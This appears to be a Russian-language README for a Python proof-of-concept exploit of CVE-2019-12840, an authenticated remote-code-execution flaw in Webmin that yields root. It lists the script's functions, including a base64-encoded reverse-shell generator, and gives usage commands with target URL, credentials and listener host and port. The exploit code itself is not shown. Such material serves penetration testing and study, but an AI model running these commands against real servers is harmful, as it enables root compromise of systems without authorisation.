
Это собственная базовая proof-of-concept уязвимости CVE-2019-12840, которая даёт RCE на root.
Этот репозиторий содержит Python-скрипт, который эксплуатирует уязвимость CVE-2019-12840 в Webmin.
Скрипт пытается выполнить вход на сервер Webmin, а затем эксплуатирует уязвимость CVE-2019-12840. Скрипт принимает несколько аргументов командной строки, включая имя пользователя и пароль для входа на сервер Webmin, URL сервера, порт сервера, локальный порт для обратной оболочки (reverse shell) и команду для выполнения на сервере.
Для использования этого скрипта необходимо указать как минимум имя пользователя, пароль и URL сервера Webmin. Вот пример использования скрипта:
python exploit.py -U username -P password -u http://localhost:10000 -lhost 10.x.x.x -lport 443
Python-скрипт в этом репозитории структурирован следующим образом:
Импорт модулей: Скрипт начинается с импорта нескольких необходимых модулей Python. Среди них: requests для выполнения HTTP-запросов, argparse для обработки аргументов командной строки, для кодирования и декодирования в base64, а также для анализа HTML.
base64BeautifulSoupОпределение функций: Скрипт определяет несколько функций:
CVE_2019_12840(url,auth_base64,cmd): Эта функция отправляет POST-запрос на указанный URL с определённой полезной нагрузкой и проверяет ответ.login(username,password,url): Эта функция пытается выполнить вход на сервер Webmin с предоставленными именем пользователя и паролем.exploit(sid,url,cmd): Эта функция пытается эксплуатировать уязвимость CVE-2019-12840 на сервере Webmin.b64revshell(lhost,lport): Эта функция генерирует обратную оболочку, закодированную в base64.Обработка аргументов командной строки: Скрипт принимает несколько аргументов командной строки, включая имя пользователя и пароль для входа на сервер Webmin, URL сервера, порт сервера, локальный порт для обратной оболочки и команду для выполнения на сервере.
Выполнение эксплойта: Если скрипт выполняется как отдельная программа (а не импортируется как модуль), он пытается выполнить вход на сервер Webmin, а затем запускает эксплойт.
Скрипт принимает несколько аргументов командной строки. Вот пример использования скрипта:
python3 CVE-2019-12840.py -h
Будет отображена справка программы, включающая следующее:
_______ ________ ___ ___ __ ___ __ ___ ___ _ _ ___
/ ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ /_ |__ \ / _ \| || | / _ \
| | \ \ / /| |__ ______ ) | | | || | (_) |______| | ) | (_) | || |_| | | |
| | \ \/ / | __|______/ /| | | || |\__, |______| | / / > _ <|__ _| | | |
| |____ \ / | |____ / /_| |_| || | / / | |/ /_| (_) | | | | |_| |
\_____| \/ |______| |____|\___/ |_| /_/ |_|____|\___/ |_| \___/
by CyberMonkey
Webmin <= 1.910 RCE (Authorization Required)
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -c "id"
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -lhost <LOCAL_IP> -lport 443
usage: CVE-2019-12840.py [-h] -U USERNAME -P PASSWORD -u URL [-p PORT] [-lport LPORT] (-c CMD | -lhost LHOST)
options:
-h, --help show this help message and exit
-U USERNAME username
-P PASSWORD password
-u URL target url
-p PORT target port
-lport LPORT local port for reverse shell
-c CMD command to execute
-lhost LHOST Send back a reverse shell at port 443
Этот скрипт является эксплойтом безопасности и должен использоваться только в законных целях, таких как тестирование на проникновение или исследования в области безопасности. Он не должен использоваться для незаконной деятельности. Кроме того, данный скрипт предназначен для использования с серверами Webmin, уязвимыми к CVE-2019-12840, поэтому он может не работать со всеми версиями Webmin.